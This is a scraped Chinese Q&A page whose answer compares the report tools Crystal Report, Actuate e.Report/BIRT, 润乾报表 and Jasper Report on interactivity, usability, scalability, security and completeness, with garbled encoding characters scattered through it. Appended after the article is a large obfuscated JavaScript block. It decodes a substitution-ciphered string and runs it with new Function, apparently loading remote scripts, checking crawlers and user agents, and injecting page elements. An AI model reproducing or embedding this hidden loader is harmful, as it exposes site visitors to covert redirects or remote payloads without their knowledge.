几种流行BI的比较(转)

2025-03-24 17:07:57
推荐回答(1个)
回答1:

�0�2�0�2�0�2�0�2�0�2�0�2 目前国内市场上的报表工具可谓五花八门,从各厂商的介绍来看,这些产品的功能有相当部分是重叠的,为了区分它们往往需要了解它们功能的实现机制和最终达到的效果以确定产品是否符合实际应用需要。一辆好的车子是驾驶者的延伸;一个好的报表工具是使用者的延伸。这个表述看似有点儿玄,其实很实在,要真正做到却又非常难。报表工具的使用者与驾驶者有一个共通的地方,那就是他们中的大部分人都不是机械或电子专业出身的,他们需要一个得心应手的工具来帮助他们做想做的事情。报表工具如何才算得上得心应手?你可发现有很多回答,归纳起来,不外以下几方面: 交互性:电子报表有别于传统纸质报表的灵性,是报表服从于人、提高人的工作效率的关键; 易用性:报表开发工具的易用性和报表使用的容易程度是判别报表工具好坏的重要标准; 可扩展性:系统性能随硬件增加而提升,是企业级报表系统与非企业系统的分水岭; 安全性/可靠性:完善的权限控制,标准化的数据安全接口,低故障率以及故障后的可恢复性; 完整性:能满足各种信息展现要求,能覆盖各种类型数据源和格式,能部署到各种应用环境。笔者挑选了在国内外市场上表现活跃且据代表性的几个产品:Business Object (SAP) 的Crystal Report、Actuate、润乾报表、Jasper Report来做一个深入的比较,帮助有兴趣的读者进一步地了解它们。上述产品均具不同的特性:Crystal Report的应用非常广泛,在不同行业、规模的应用里都可以看到它的身影;Actuate是专业的企业报表工具,以e.Report为代表的一系列产品在国际上有很长的历史,早期被广泛应用于金融、电信、政府等较大规模的企业、组织,近来也开始关注中小型企业,推出了全新BIRT系列产品;润乾报表是国内报表的后起之秀,在中式报表的支持上很有特色;Jasper Report则是一款开源产品,使用无需授权费。1.交互性�0�2�0�2�0�2�0�2�0�2�0�2 纸质报表所承载的信息是固定的,当人们想进一步了解报表上某些数据时,没人会指望它会主动“开口”予以解答。单向、无反馈的信息传播过程是纸制报表最大的软肋,这使得人们不得不在查找数据上花费大量时间。电子报表工具产生初期,电子报表与纸质报表差别并不太大,只是用屏幕代替了纸张。随着技术的进步,电子报表的交互性越来越强,拥有了能与用户沟通的“智慧”。人们不再需要为查找某项数据就将整张报表翻遍;通过简单操作就能重组、排列报表上的数据;并能通过创建图表的形式把需要的数据展现在人们眼前。于是,在选择电子报表工具时,人们慢慢地将交互性作为重要的考核指标,因为他们需要一份“活”的报表!基于Web的互动性给报表工具设计者带来了很大的挑战。很长一段时间里,浏览器应用的交互性远远不及桌面应用,因为用户在浏览器界面的操作是由远方的服务器来响应的。互联网的速度、服务器的性能和当时的数据交换协议都难以胜任交互性很强的应用任务。但Web 2.0的出现大大改变了这种状况,使得基于Web的应用也能带有很强的交互性。对交互性的支持成为了报表产品炙热的竞争焦点,特别是基于Web 2.0的交互性。“这是一个奇妙的良性循环过程:对报表软件供应商而言,产品拥有更强的交互性就等于拥有更强的‘人气’;而客户对产品更加‘忠诚’,报表产品的市场竞争力也会相应提高,”业内流传着这样的看法。Crystal和Actuate的报表在交互性方面都有不错的表现,但Actuate在对Web 2.0的支持上走在了前面。Actuate BIRT的交互式报表浏览界面能通过标准Web 2.0调用、嵌入到任何Web页面,功能与Google地图十分相似,而且Actuate BIRT的交互功能几乎是不受限制的。而Crystal Report的交互功能则必须在报表设计时预定且不支持基于标准的调用,这是它与Actuate最大的区别。相比之下,其它两个产品在交互性方面的开发尚未进入状态,还不能提供类似的功能。这也是Crystal Report和Actuate作为两家成熟的商业报表软件供应商在技术上的优势。2.易用性�0�2�0�2�0�2�0�2�0�2 大多数的电子报表用户都没有专业IT背景,他们面对电子报表的第一反应大概会与互联网刚开始普及时,人们面对各类网站网页不知所措的样子差不多。对于企业来说,他们想要的报表工具是服务于全体员工甚至是客户的。“怎么能让非专业人士在短期内掌握报表工具的使用?”,这一问题很大程度上取决于报表工具本身是否容易被掌握,也就是报表工具的易用性。报表工具的易用性主要包括报表设计、报表查看两个层面。设计的易用性主要体现在:能很容易地创建数据源、数据集;能很方便地调用函数、过程处理数据;拥有多种将复杂数据资料展现在二维平面上的形式等方面。而查看的易用性是指报表用户能不费周折地得到自己所需的信息。这里涉及到报表的设计合理性和展现工具的灵活性(如上一节所提及的交互性),因为如果报表工具不具有展现的灵活性,报表设计工作的难度会更高。Crystal Report在易用性方面相当具有优势。在报表设计方面,Crystal Report有一款基于浏览器的报表设计工具:Web Intelligence,此外,Crystal Report还向用户提供了一个报表设计向导,用户可通过该向导按部就班地向报表内添加数据、图表等元素。在对仪表盘的支持上,Crystal Report也下了不少功夫,它的Xcelsius线能让用户非常容易地使用仪表盘。总之,报表设计直观明了且不需要过多专业培训是Crystal Report的一大特点。在报表查看方面,Crystal Report可以支持交互式报表,这点之前已讨论过了。与Crystal Report的“傻瓜相机”式设计理念相比,安讯的e.Report可谓是一台专业相机,能拍出别人拍不出的效果,但与此同时,它对使用者的要求也更高。e.Report的难用是业内有名的,不过仍有很多企业选择e.Report的原因是因为它能做出别人做不到的排版效果。安讯最新的百灵报表(BIRT)则吸取了e.Report这方面的教训。BIRT设计器的界面采用了Eclipse的风格,实现了“拖拽式”设计,可以完全不依赖编程。同时,提供了类似于Web Intelligence的Business Report Studio,用户可在浏览器上设计报表或对报表结构、内容、格式进行调整。这种“全民皆兵”的设计方式不但较易被初学者掌握而且使得BIRT的使用者也能参与报表开发。此外,在中式报表方面,BIRT考虑到了国内用户的实际需要,支持斜线表头、信息回填等功能。在报表查看方面,安讯的BIRT系列报表可能是目前查看方式最完整的交互式报表。通过一个交互式报表浏览器,任何BIRT报表都可以“活”起来,该交互式报表浏览器还可通过Web 2.0的调用集成到任何Web页面,这点是任何其它产品都没有做到的。润乾报表在易用性方面的表现主要集中在中式报表设计上。在斜线表头方面,如果说BIRT的斜线表头只能用图片粘贴方式来完成的话,润乾则将其进一步地功能化,用户可在设计栏中找到斜线表头的单独选项。信息回填方面,用户可从不同来源、等级的数据中找到相应元素并将其添入新报表,而且这种功能是不受联机或脱机的影响的。作为一个开源产品,Jasper Report在易用性方面的表现已是相当不错的了。一般的报表设计问题,如创建数据源、设计表格、图表、导出格式等,Jasper Report的设计器都能不错地进行处理。不过,虽然它的易用性表现已相当不错,Jasper Report在功能上仍远远不及其它几款商业报表工具。3.可扩展性�0�2�0�2�0�2�0�2�0�2�0�2�0�2 所有企业都希望能购买到一套功能可满足所有需要的报表工具。但几乎没有人能完全预知企业未来的扩展需求。这就涉及到了报表功能、性能的可扩展性问题。Crystal Report在功能扩展方面的特点是与.net平台的“联手”,除其自带功能外,用户还可以利用.net平台上的其它功能。不过,除.net平台外,用户基本上不能将其它应用软件中的报表功能补充到Crystal Report之中,而Crystal Report的功能本身也没有可扩展性,这点不足在中式报表应用上尤为突出。安讯百灵报表BIRT的前身是开源的Eclipse BIRT,它具备了一个可扩展性非常强的架构,预置了很多扩展接口(Extension Point),且支持脚本语言。用户可以根据需要通过扩展接口和脚本向BIRT添加功能。这点对于OEM厂商以及项目开发者是非常有吸引力的,因为BIRT有很好的“可塑性”。除功能可扩展性外,报表产品性能的可扩展性也是很重要的一方面。报表系统必须能够应付不断增加的使用人数和报表。理想情况下,报表只需增加硬件设备就能完成对其性能的提升。但不是所有的工具都能做到这点,大部分的报表工具能用上两、三个CPU就已很不错了。安讯的报表平台iServer是业内公认的最具有可扩展性的平台。根据权威机构IBM Innovation Center的测试数据:“安讯iServer报表平台能够从1台扩展到16台服务器(共64个CPU),做到近乎线性的扩展。”目前在业内还没有第二个产品能够交出这样的成绩单。Crystal Report Enterprise和润乾报表都支持集群,也能扩展到数千用户的大级别的应用,但由于扩展的效率不如安讯平台,所以需要更多服务器和CPU。Jasper Report作为一个免费的软件,在性能方面没有太多的优势,能够支持共线用户已经足够让人满意了。4.安全性/可靠性�0�2�0�2�0�2�0�2�0�2�0�2 安全性指的是信息不会丢失、不会落到没有授权的人手里,这点在企业应用中尤为重要,因为报表平台上的信息必须要做到有控制的共享。安全性存在于用户终端和报表后台系统。前者往往易被忽略,因而也最容易出现问题。在用户终端,安装浏览器插件和改变浏览器安全配置都会对用户端的安全性产生很大影响,因为它们都存在潜在的风险,会为“恶意程序”提供可乘之机。换句话说,不安装插件、不改变用户的安全设置,对用户才是安全的。另一方面,报表后台系统的安全性主要体现在对用户的权限管理、对数据的加密及对数据访问的控制。数据访问控制涉及一个的宽窄度问题,指的是访问权的授权单位的大小,比如说,最“宽”的权限管理可能是控制用户能否登录系统;略窄一些则可能是控制用户能否访问特定目录和文件;权限再窄一点就可能是控制用户能否访问特定的数据行和报表页了。Crystal Report Enterprise和Actuate iServer平台的安全机制是基于“用户与角色的安全模型”,通过该安全模型控制系统内部的各种报表、程序、资源等的访问权。此外,它们也提供与外部安全系统结合的接口,能把报表系统与环境的安全机制融为一体。而两个产品最大的差别在于Crystal Report的数据访问控制是基于数据行,而Actuate是基于报表页或电子表格的单元,而基于页的控制对用户来讲可能更直观易用。润乾报表的安全机制是基于用户的,访问权一般授予用户,不支持更细化的数据访问控制。Jasper Report的安全控制由部署环境实现。与安全性相比,可靠性的含义就更为直观了。对用户而言,可靠性就是系统能让人更放心地使用。目前的计算机系统还不能保证100%不出问题,但一个好的系统应该很少出问题,就算有问题也不会是那种“恶性事故”,导致信息丢失、系统崩溃等难以挽回的局面。所以,系统出问题后,能够尽快恢复才是最实际的。报表应用的可靠性不仅是一个软件质量问题,还是一个架构问题。有的架构对环境和第三方依赖很大,“命运”不掌握在自己手上,就会存在不少外在的可靠性风险。Crystal Report与Actuate都已发展多年,在产品的研发方面都有极大的投入,两个品牌在国际上也各自拥有很多大客户。它们的产品经受住了时间的考验,在可靠性方面是令人放心的。Crystal与Actuate都支持故障转移,并能通过配备后备服务器、硬盘的方式增加系统可靠性。相比之下,润乾报表和Jasper Report还没有太长的历史,难以对它们的可靠性作出总结。而从系统架构来讲,Jasper Report的部署需要第三方的应用服务器,系统的可靠性有赖于所选的应用服务器的可靠性。此外,Jasper Report 和润乾报表都没有自主的故障转移能力,它们这部分的能力是依赖部署环境的,存在很大的局限性,发生问题时,很难辨别是报表系统本身的问题还是部署环境问题。5.完整性�0�2�0�2�0�2�0�2�0�2�0�2�0�2�0�2 报表工具的完整性主要体现在它是否具有强大的信息展现功能;能否覆盖不同类型的数据源和格式;能否部署、集成在不同的运行平台和环境。大多数的主流报表工具都具有相当出色的完整性,因而才能够在激烈的竞争中占有一席之地。他们共通的方面,就不在此赘述,只就它们的差异,做一些说明:对Excel的支持:微软Excel是最常用的数据分析、展现工具,因此兼容Excel成为了很多报表工具的追求。从兼容的效果来看,Actuate e.Spreadsheet可谓接近完美,除不能输出静态图片外,几乎能100%地支持Excel的功能。与之相比,其它系统对Excel的支持,只能做到数据层面,输出的是一张“看上去像Excel”的表格,却不能像e.Spreadsheet那样做到输出带公式图表的XLS文件。比如,润乾报表的编辑界面看似Excel,但润乾报表却不真正兼容Excel。对Flash Object的支持:Flash Object能给报表页面带来生气,在很多场合都能够用得上。Crystal Report是最先实现Flash Object的,而较晚起步的Actuate BIRT支持的种类、式样更多更全,大有青出于蓝胜于蓝的势头。其他的两个工具还不具备对Flash Object的支持。对仪表盘的支持:仪表盘式的应用非常广泛,市面上也已有许多专用仪表盘软件。面对专用仪表盘软件造成的冲击,报表工具厂商也不得不加强对仪表盘的支持。经过努力,报表工具所支持的仪表盘仍然具有灵活性上的优势。在这方面Crystal Xcelsius做的最为出色,能轻松的产生仪表盘报表。Actuate BIRT也具备了相当不错的仪表盘支持,它拥有了最接近专用仪表盘软件的功能设计。对脚本的支持:脚本是补充报表工具自带功能不足的有效手段。高级报表设计人员往往能利用脚本,编制出一些富有创意的报表。对脚本的支持也是Actuate的传统优势,Actuate e.Report支持Basic作为脚本语言;Actuate BIRT支持Java Script/Java作为脚本语言。而目前其它几个报表工具对脚本的支持均远没有Actuate做得那么完善。对集成的支持:润乾报表,Jasper Report和Actuate的BIRT/e.Spreadsheet报表都能以“引擎”方式嵌入到第三方应用。在单独部署时,他们都有J2EE的展现层,有基于标准的调用接口,能方便地集成到其它网络应用中,Actuate更是支持Web 2.0,使其能更为方便地集成到网页上。相比之下,Crystal Report是个比较封闭的系统,它自成一体,必须整块使用,集成非常有限而且没有太多可个性化的东西供用户应用。以上是笔者对国内市场上热门报表应用产品:BO Crystal Report、Actuate、润乾报表和Jasper Report之间比较的一点心得。虽然,这四个产品的很多功能是重叠的,但经过较为深入的比较可以看出,它们功能的实现质量和达到的效果还是存在着明显的差别。如果读者能从中领会到这些产品相异的地方,对选择合适的报表工具必定会有帮助。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();